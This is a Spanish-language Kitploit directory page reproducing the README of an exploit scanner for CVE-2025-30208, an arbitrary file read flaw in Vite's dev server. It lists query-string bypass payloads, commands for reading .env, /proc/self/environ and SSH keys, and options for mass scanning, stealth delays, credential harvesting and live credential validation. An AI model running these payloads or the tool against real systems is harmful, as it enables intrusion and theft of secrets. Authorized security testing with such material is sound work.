Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-30208 — Escáner de exploit para CVE-2025-30208 (lectura arbitraria de archivos en Vite) con detección de bypass multivariante, recolección de credenciales, extracción de claves SSH e informes estructurados para pruebas de penetración autorizadas. | Kitploit
Herramientas/GitHubGitHub/hazavvip/cve-2025-30208
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosRecopilación de InformaciónPruebas de Penetración
GitHubhazavvip/cve-2025-30208

CVE-2025-30208

Escáner de exploit para CVE-2025-30208 (lectura arbitraria de archivos en Vite) con detección de bypass multivariante, recolección de credenciales, extracción de claves SSH e informes estructurados para pruebas de penetración autorizadas.

Ver Repositorio
22hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-30208 — Lectura arbitraria de archivos en Vite · v5

CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
Severidad: CVSS 5.3 Media (servidor de desarrollo accesible por red)

⚠ Solo para pruebas de seguridad autorizadas.
El uso no autorizado contra sistemas que no posee o para los que no tiene permiso explícito por escrito es ilegal.


Descripción

El servidor de desarrollo de Vite permite servir archivos arbitrarios del sistema de archivos del host mediante solicitudes /@fs/.
Una comprobación de sanitización de cadenas de consulta faltante en versiones afectadas permite a un atacante añadir sufijos especialmente diseñados para eludir la lista blanca y leer cualquier archivo al que el proceso pueda acceder, incluidos archivos .env, claves privadas SSH, credenciales en la nube y entradas de /proc.


Versiones Afectadas

BranchÚltima vulnerableParcheada
6.3.x6.3.06.3.1+
6.2.x6.2.26.2.3+
6.1.x6.1.16.1.2+
6.0.x6.0.116.0.12+
5.4.x5.4.145.4.15+
4.5.x4.5.94.5.10+

Variantes de Bypass

NombreSuffijo / ConsultaDescripción
raw???raw??El ?? final rompe rawRE
import&raw???import&raw??Módulo ES + raw combinados
raw??raw?Un solo ? final
url&raw???url&raw??Modo URL combinado
raw&url???raw&url??Orden de parámetros invertido
import&?raw?import&?rawPrefijo de importación mal formado
sec-fetch?raw + cabecera Sec-Fetch?raw + cabecera Sec-Fetch
raw-encoded?raw%3f%3fSeparadores codificados en URL
double-slash?raw??/Bypass de sufijo de doble barra (v5)
pct-all%3fraw%3f%3fConsulta completamente codificada en porcentaje (v5)
raw-hash?raw??#Bypass de ancla de fragmento (v5)
wasm-init?inline=1.wasm?initHermano de CVE-2025-31125 (init de wasm)

Instalación

pip install requests
# or
pip install -r requirements.txt

Uso

Objetivo único — escaneo completo

python main.py -t https://target.com

Cadena de explotación completa (validación de credenciales en vivo, comportamiento predeterminado)

python main.py -t https://target.com --full-chain --output /tmp/report

Leer un archivo específico

python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt

Modo sigiloso (retardos aleatorios) + proxy upstream

python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080

Escaneo masivo desde una lista de objetivos

python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080

Salida compatible con tuberías (sin códigos ANSI)

python main.py -t https://target.com --no-color | tee scan.log

Versión

python main.py --version

Ejecutar como paquete

python -m cve30208 -t https://target.com

Referencia de CLI

FlagPredeterminadoDescripción
-t/--target—URL de un solo objetivo
-l/--lists—Archivo que contiene un objetivo por línea
--stealthoffAñadir retardos aleatorios entre solicitudes
--proxy—Proxy HTTP/HTTPS (http://host:port)
--timeout10Tiempo de espera por solicitud en segundos
--verifyoffHabilitar verificación de certificado TLS
--file—Leer una ruta específica en el host objetivo
--save—Guardar el contenido de --file en una ruta local
--full-chainonEjecutar cadena de explotación completa (la validación en vivo es la predeterminada)
--output—Escribir informe JSON + Markdown en esta ruta base
--workers10Trabajadores paralelos para escaneo masivo
--portsver más abajoPuertos separados por comas para sondear en modo masivo
--no-color/--plainoffDeshabilitar códigos de color ANSI
--safe-modeoffRedactar valores secretos en la salida del terminal
--show-secretsoffMostrar secretos completos en el terminal (anula --safe-mode)
--version—Mostrar versión y salir

Puertos predeterminados para escaneo masivo: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443


Salida

Cuando se especifica --output /tmp/report, el escáner escribe:

  • /tmp/report.json — hallazgos estructurados legibles por máquina
  • /tmp/report.md — informe Markdown legible por humanos

El escaneo masivo siempre imprime VULN_COUNT=N en la última línea para facilitar la creación de scripts de shell:

python main.py -l targets.txt | grep '^VULN_COUNT='

Los escaneos de un solo objetivo imprimen SCAN_STATUS=VULNERABLE|NOT_VULNERABLE al final para automatización.


Arquitectura (v5)

cve30208/
├── __init__.py      — superficie de la API pública
├── __main__.py      — punto de entrada python -m cve30208
├── constants.py     — constantes BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/scan
├── ui.py            — códigos de color ANSI, Spin/NullSpin, ayudantes de terminal
├── utils.py         — ayudantes compartidos (_unescape_js_string)
├── secrets.py       — scan_secrets(), parse_env(), parse_environ()
├── ssh.py           — extract_ssh_key(), collect_ssh_targets()
├── exploit.py       — ExploitResult, ExploitStage (validación de credenciales en vivo)
│                      incluye un registro de verificación para facilitar la extensión
├── report.py        — save_report(), make_md()
└── scanner.py       — FR/R dataclasses, Scanner, bulk_scan(), main()
main.py              — adaptador de compatibilidad hacia atrás
requirements.txt

Deduplicación

El escáner suprime automáticamente los artefactos repetidos para que la salida se mantenga limpia incluso cuando HOME es igual a /root o el mismo secreto aparece en múltiples archivos:

CapaMecanismo
Lecturas del sistema de archivosstage_fs normaliza la lista base de claves SSH con dict.fromkeys y elimina rutas duplicadas de la cola reads antes de generar cualquier salida.
Guardado de archivosScanner._save verifica un conjunto _seen_file_paths por escaneo; las rutas duplicadas devuelven el FR ya almacenado sin volver a añadirlo a r.files.
SecretosScanner._save deduplica r.secrets globalmente por (name, value) en todos los archivos; la deduplicación dentro del archivo se maneja por separado en scan_secrets.
Claves SSHstage_ssh colapsa claves con la misma firma PEM (primeros _PEM_SIG_LEN bytes) que aparecen en múltiples archivos fuente.
Comandos pivotLos bloques pivot se indexan por (key_source, host, port); las combinaciones idénticas se imprimen solo una vez.

La línea de resumen informa cuántos archivos, secretos y claves SSH se suprimieron como duplicados, por ejemplo:

  deduplicado     2 archivo(s), 4 credencial(es), 1 clave(s) SSH suprimidos como duplicados

Remediación

Descargar herramienta